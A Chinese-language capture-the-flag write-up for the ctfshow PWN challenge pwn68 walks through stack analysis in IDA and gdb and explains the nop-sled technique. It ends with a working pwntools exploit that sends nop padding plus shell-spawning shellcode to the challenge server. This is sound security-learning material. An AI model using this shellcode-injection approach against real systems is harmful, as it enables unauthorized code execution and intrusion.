ctfshow-PWN入门-pwn68

通过官方wp捋顺了思路,参考了大佬的wp进一步学习,写自己的wp

checksec

IDA

main函数

关键函数query_position

分析过程——gdb+画图

画个栈示意图更好理解

调试工具:gdb

首先看看执行到v3 = query_position()时,main函数的栈分布

结合IDA中参数距离rbp的距离,画出参数分布

mrbp:[main]rbp的简写

所有的栈图都参考OD等调试软件,上面是低地址,下面是高地址

通过汇编我们可以得到:

执行的时候,是将rbp+0x1018中的存放的地址——即v5,放到rax里面,再通过执行call rax去运行函数

我们再进入query_position函数,执行完rbp寻址操作,看稳定后栈的分布

官方wp是借助v1推出seed的位置,再推出打印地址与seed之间的关系

  • random=rand() % 1337
  • v1+0x15+4+4+0x10=seed
  • seed+random=打印地址+668+0x2d 

payload中

  • 第一个输入:payload = b'\x90'*1336 + shellcode
  • 第二个输入:sh = addr + 668 + 0x35

但是,我不想算太多,直接用打印地址多爽!!

v2 = rand() % 1337 - 668这行代码使用 rand 函数生成一个随机数,并通过取模运算将其限制在范围 0 1336 之间。然后,从结果中减去 668,得到一个范围在 -668 668 之间的随机整数,并将其存储在变量 v2

所以打印地址的范围:v1-668 ~ v1+668

在栈中标注出范围

已经知道我们获得的打印地址可能的范围,而shellcode的地址一定要在比执行地址更高的位置

为了保障shellcode一定能够执行,我们直接拿v1最大的可能地址做准线,即:shellcode地址一定要大于 v1+668

shellcode与seed之间的部分则用nop填充,

我们这里需要了解一下 nop sled 空操作雪橇
  • nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式。
  • 攻击者通过输入字符串注入攻击代码。在实际的攻击代码前注入很长的 nop 指令 (无操作,仅使程序计数器加一)序列。
  • 只要程序的控制流指向该序列任意一处,程序计数器逐步加一,直到到达攻击代码的存在的地址,并执行。
  • 由于栈地址在一定范围的随机性,攻击者不能够知道攻击代码注入的地址,而要执行攻击代码需要将函数的返回地址更改为攻击代码的地址(可通过缓冲区溢出的方式改写函数返回地址)。所以,只能在一定范围内(栈随机导致攻击代码地址一定范围内随机)枚举攻击代码位置(有依据的猜)。
  • 橙色部分:填充的nop
  • 绿色部分:shellcode
  • 执行/打印地址:举例一个可能的地址做示范

算出seed距离打印地址最大值的距离:0x7FFFFFFFC98C-0x7FFFFFFFC730=0x25C

填充的nop要等于大于0x25C,【不太建议用0x25C,可能会出现打不通情况】

exp

from pwn import*
context.arch = 'amd64'

io = remote('pwn.challenge.ctf.show',28132)

io.recvuntil(b'location: ')
addr = io.recvuntil(b'\n')[:-1]

shellcode = b'\x90' * 0x264 + asm(shellcraft.sh())

io.sendline(shellcode)
io.sendline(addr)
io.interactive()

大佬的exp感觉都没算什么,直接填充669个nop,直接秒杀(◍╹x╹◍)

运行界面

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值